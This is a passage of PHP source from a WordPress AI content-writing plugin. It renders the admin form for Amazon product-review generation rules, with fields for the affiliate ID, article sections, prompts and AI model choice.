'options'); $rules = get_option('aiomatic_review_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { $cat_args = array( "orderby" => "name", "hide_empty" => 0, "order" => "ASC" ); $categories = get_categories($cat_args); $posted_items = array(); $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $rule_id = get_post_meta($post, 'aiomatic_parent_rule', true); if ($rule_id != '') { if(stristr($rule_id, '-')) { $exp = explode('-', $rule_id); if(isset($exp[0]) && isset($exp[1]) && $exp[0] == '3') { $posted_items[] = $exp[1]; } } } } wp_suspend_cache_addition(false); $counted_vals = array_count_values($posted_items); if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $unlocker = get_option('aiomatic_minute_running_unlocked', false); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $amaz_countries = aiomatic_get_amazon_codes(); foreach ($rules as $request => $bundle[]) { if(($cont < ($curent_page - 1) * $rules_per_page) || ($cont >= $curent_page * $rules_per_page)) { $cont++; continue; } $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $schedule = $array_my_values[0]; $active = $array_my_values[1]; $last_run = $array_my_values[2]; $max = $array_my_values[3]; $status = $array_my_values[4]; $def_type = $array_my_values[5]; $post_user_name = $array_my_values[6]; $default_tags = $array_my_values[7]; $default_category = $array_my_values[8]; $auto_categories = $array_my_values[9]; $auto_tags = $array_my_values[10]; $enable_comments = $array_my_values[11]; $image_url = $array_my_values[12]; $review_keyword = $array_my_values[13]; $enable_pingback = $array_my_values[14]; $post_format = $array_my_values[15]; $custom_fields = $array_my_values[16]; $custom_tax = $array_my_values[17]; $temperature = $array_my_values[18]; $top_p = $array_my_values[19]; $presence_penalty = $array_my_values[20]; $frequency_penalty = $array_my_values[21]; $royalty_free = $array_my_values[22]; $max_tokens = $array_my_values[23]; $max_seed_tokens = $array_my_values[24]; $max_continue_tokens = $array_my_values[25]; $post_prepend = $array_my_values[26]; $post_append = $array_my_values[27]; $enable_ai_images = $array_my_values[28]; $ai_command_image = $array_my_values[29]; $image_size = $array_my_values[30]; $wpml_lang = $array_my_values[31]; $remove_default = $array_my_values[32]; $strip_title = $array_my_values[33]; $title_once = $array_my_values[34]; $category_model = $array_my_values[35]; $category_ai_command = $array_my_values[36]; $tag_model = $array_my_values[37]; $tag_ai_command = $array_my_values[38]; $min_time = $array_my_values[39]; $max_time = $array_my_values[40]; $skip_spin = $array_my_values[41]; $skip_translate = $array_my_values[42]; $affiliate_id = $array_my_values[43]; $content_language = $array_my_values[44]; $writing_style = $array_my_values[45]; $writing_tone = $array_my_values[46]; $title_prompt = $array_my_values[47]; $content_prompt = $array_my_values[48]; $excerpt_prompt = $array_my_values[49]; $paragraph_count = $array_my_values[50]; $topic_title_model = $array_my_values[51]; $topic_content_model = $array_my_values[52]; $topic_excerpt_model = $array_my_values[53]; $intro_prompt = $array_my_values[54]; $topic_intro_model = $array_my_values[55]; $outro_prompt = $array_my_values[56]; $topic_outro_model = $array_my_values[57]; $topic_images = $array_my_values[58]; $sections_role = $array_my_values[59]; $topic_videos = $array_my_values[60]; $rule_description = $array_my_values[61]; $custom_shortcodes = $array_my_values[62]; $strip_by_regex = $array_my_values[63]; $replace_regex = $array_my_values[64]; $strip_by_regex_prompts = $array_my_values[65]; $replace_regex_prompts = $array_my_values[66]; $run_regex_on = $array_my_values[67]; $max_links = $array_my_values[68]; $link_post_types = $array_my_values[69]; $enable_toc = $array_my_values[70]; $title_toc = $array_my_values[71]; $qa_prompt = $array_my_values[72]; $topic_qa_model = $array_my_values[73]; $enable_qa = $array_my_values[74]; $title_qa = $array_my_values[75]; $title_outro = $array_my_values[76]; $link_type = $array_my_values[77]; $link_list = $array_my_values[78]; $skip_inexist = $array_my_values[79]; $target_country = $array_my_values[80]; $global_prepend = $array_my_values[81]; $global_append = $array_my_values[82]; $search_query_repetition= $array_my_values[83]; $days_no_run = $array_my_values[84]; $overwrite_existing = $array_my_values[85]; $link_nofollow = $array_my_values[86]; $parent_id = $array_my_values[87]; $rule_unique_id = $array_my_values[88]; $point_of_view = $array_my_values[89]; $sections_prompt = $array_my_values[90]; $topic_sections_model = $array_my_values[91]; $post_sections_list = $array_my_values[92]; $section_count = $array_my_values[93]; $proscons_prompt = $array_my_values[94]; $topic_proscons_model = $array_my_values[95]; $title_proscons = $array_my_values[96]; $enable_proscons = $array_my_values[97]; $title_reviews = $array_my_values[98]; $enable_reviews = $array_my_values[99]; $reviews_prompt = $array_my_values[100]; $topic_reviews_model = $array_my_values[101]; $no_headlink = $array_my_values[102]; $image_model = $array_my_values[103]; $assistant_id = $array_my_values[104]; if(empty($rule_unique_id)) { $rule_unique_id = $cont; } if (isset($counted_vals[$rule_unique_id])) { $generated_posts = $counted_vals[$rule_unique_id]; } else { $generated_posts = 0; } if($rule_description == '') { $rule_description = $cont; } $name = md5(get_bloginfo()); wp_add_inline_script($name . '-footer-script', 'createAdmin(' . esc_html($cont) . ');createModeSelect(' . esc_html($cont) . ');hideLinks(' . esc_html($cont) . ');', 'after'); $output .= '<tr> <td class="cr_short_td"><input type="text" name="aiomatic_review_list[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_review_list[review_keyword][]" placeholder="Example: dog food" class="cr_width_full">' . htmlspecialchars($review_keyword) . '</textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" placeholder="# h" name="aiomatic_review_list[schedule][]" max="8765812" value="' . esc_attr($schedule) . '" class="cr_width_60" required></td> <td class="cr_comm_td"><input type="number" step="1" min="0" placeholder="#" name="aiomatic_review_list[max][]" value="' . esc_attr($max) . '" class="cr_width_60" required></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"><h3>' . esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer') . ':</h3> </td></tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td><select id="assistant_id' . esc_html($cont) . '" name="aiomatic_review_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected(\'' . esc_html($cont) . '\');">'; if($all_assistants === false) { $output .= '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { $output .= '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value=""'; if($assistant_id == ''){$output .= ' selected';} $output .= '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { $output .= '<option value="' . $myassistant->ID .'"'; if($assistant_id == $myassistant->ID){$output .= ' selected';} $output .= '>' . esc_html($myassistant->post_title); $output .= '</option>'; } } } $output .= '</select> </td> </tr> <tr><td colspan="2"><h3>' . esc_html__('Amazon Search Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Insert your Amazon Associate ID (Optional). Learn how to get one <a href='%s' target='_blank'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html', 'https://affiliate-program.amazon.com/assoc_credentials/home' ) . ' </div> </div> <b>' . esc_html__("Amazon Associate ID (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_review_list[affiliate_id][]" value="' . esc_attr($affiliate_id) . '" placeholder="Please insert your Amazon Affiliate ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum length of captions in prompts. This is useful to have, when captions can be very long.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Amazon Target Country", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select id="source" name="aiomatic_review_list[target_country][]" class="cr_width_full">'; foreach ($amaz_countries as $key => $value) { $output .= '<option value="' . esc_html($key) . '"'; if ($target_country == $key) { $output .= " selected"; } $output .= '>' . esc_html($value) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('AI Writer Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Sections List (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full">' . esc_textarea($post_sections_list) . '</textarea> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Content Sections To Generate", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="section_count' . esc_html($cont) . '" name="aiomatic_review_list[section_count][]" placeholder="3-4" class="cr_width_full" value="' . esc_attr($section_count) . '"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select what you want to do with product titles in articles.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Headings To Content As", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_review_list[sections_role][]"> <option value="h2"'; if ($sections_role == 'h2') { $output .= ' selected'; } $output .= '>' . esc_html__("h2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="h3"'; if ($sections_role == 'h3') { $output .= ' selected'; } $output .= '>' . esc_html__("h3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="b"'; if ($sections_role == 'b') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="i"'; if ($sections_role == 'i') { $output .= ' selected'; } $output .= '>' . esc_html__("Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bi"'; if ($sections_role == 'bi') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="p"'; if ($sections_role == 'p') { $output .= ' selected'; } $output .= '>' . esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="x"'; if ($sections_role == 'x') { $output .= ' selected'; } $output .= '>' . esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="no"'; if ($sections_role == 'no') { $output .= ' selected'; } $output .= '>' . esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Paragraphs Per Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="paragraph_count' . esc_html($cont) . '" name="aiomatic_review_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="' . esc_attr($paragraph_count) . '"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add the product image to the article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Product Images To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="topic_images" name="aiomatic_review_list[topic_images][]"'; if($topic_images == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you don't want to add the product links directly to headings.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Don't Add Product Links to Headings", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="no_headlink" name="aiomatic_review_list[no_headlink][]"'; if($no_headlink == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you would like to add a relevant YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add A Relevant YouTube Video To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="topic_videos" name="aiomatic_review_list[topic_videos][]"'; if($topic_videos == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_outro' . esc_html($cont) . '" name="aiomatic_review_list[title_outro][]" type="text" placeholder="Optional" class="coderevolution_gutenberg_input" value="' . esc_attr($title_outro) . '"/> </div> </td></tr> <tr><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article 'Table Of Contents' Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input type="checkbox" id="enable_toc" name="aiomatic_review_list[enable_toc][]"'; if($enable_toc == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article 'Table Of Contents' Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input id="title_toc' . esc_html($cont) . '" name="aiomatic_review_list[title_toc][]" type="text" placeholder="Table of Contents" class="coderevolution_gutenberg_input" value="' . esc_attr($title_toc) . '"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Customer Reviews Analysis section to the created post. To enable Customer Reviews Analysis for articles, be sure to add a prompt also in the 'Article Customer Reviews Analysis Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article 'Customer Reviews Analysis' Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_reviews" name="aiomatic_review_list[enable_reviews][]"'; if($enable_reviews == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the Customer Reviews Analysis section header. Default is: Customer Reviews Analysis", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article 'Customer Reviews Analysis' Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_reviews' . esc_html($cont) . '" name="aiomatic_review_list[title_reviews][]" type="text" placeholder="Customer Reviews Analysis" class="coderevolution_gutenberg_input" value="' . esc_attr($title_reviews) . '"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Pros & Cons section to the created post. To enable Pros & Cons for articles, be sure to add a prompt also in the 'Article Pros & Cons Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article 'Pros & Cons' Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_proscons" name="aiomatic_review_list[enable_proscons][]"'; if($enable_proscons == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the Pros & Cons section header. Default is: Pros & Cons", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article 'Pros & Cons' Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_proscons' . esc_html($cont) . '" name="aiomatic_review_list[title_proscons][]" type="text" placeholder="Pros & Cons" class="coderevolution_gutenberg_input" value="' . esc_attr($title_proscons) . '"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article 'Q&A' Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_qa" name="aiomatic_review_list[enable_qa][]"'; if($enable_qa == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article 'Q&A' Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_qa' . esc_html($cont) . '" name="aiomatic_review_list[title_qa][]" type="text" placeholder="Q&A" class="coderevolution_gutenberg_input" value="' . esc_attr($title_qa) . '"/> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Content Parameters', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Language", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="content_language' . esc_html($cont) . '" name="aiomatic_review_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="' . esc_attr($content_language) . '"/> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Style", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_style' . esc_html($cont) . '" name="aiomatic_review_list[writing_style][]" type="text" list="writing_styles" placeholder="Created content writing style" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_style) . '"/> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Tone", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_tone' . esc_html($cont) . '" name="aiomatic_review_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_tone) . '"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the point of view of the article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Point Of View", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="point_of_view' . esc_html($cont) . '" name="aiomatic_review_list[point_of_view][]"> <option value="First Person Singular (I, me, my, mine)"'; if ($point_of_view == 'First Person Singular (I, me, my, mine)') { $output .= ' selected'; } $output .= '>' . esc_html__("First Person Singular (I, me, my, mine)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="First Person Plural (we, us, our, ours)"'; if ($point_of_view == 'First Person Plural (we, us, our, ours)') { $output .= ' selected'; } $output .= '>' . esc_html__("First Person Plural (we, us, our, ours)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Second Person Singular (you, your, yours)"'; if ($point_of_view == 'Second Person Singular (you, your, yours)') { $output .= ' selected'; } $output .= '>' . esc_html__("Second Person Singular (you, your, yours)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Second Person Plural (you [plural], y\'all, you guys)"'; if ($point_of_view == 'Second Person Plural (you [plural], y\'all, you guys)') { $output .= ' selected'; } $output .= '>' . esc_html__("Second Person Plural (you [plural], y'all, you guys)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Third Person Singular (he, she, it)"'; if ($point_of_view == 'Third Person Singular (he, she, it)') { $output .= ' selected'; } $output .= '>' . esc_html__("Third Person Singular (he, she, it)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Third Person Plural (they, them, theirs, themselves)"'; if ($point_of_view == 'Third Person Plural (they, them, theirs, themselves)') { $output .= ' selected'; } $output .= '>' . esc_html__("Third Person Plural (they, them, theirs, themselves)", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Prompts', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Title Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">' . esc_textarea($title_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Title Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_title_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_title_model)) { $topic_title_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_title_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Intro. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able 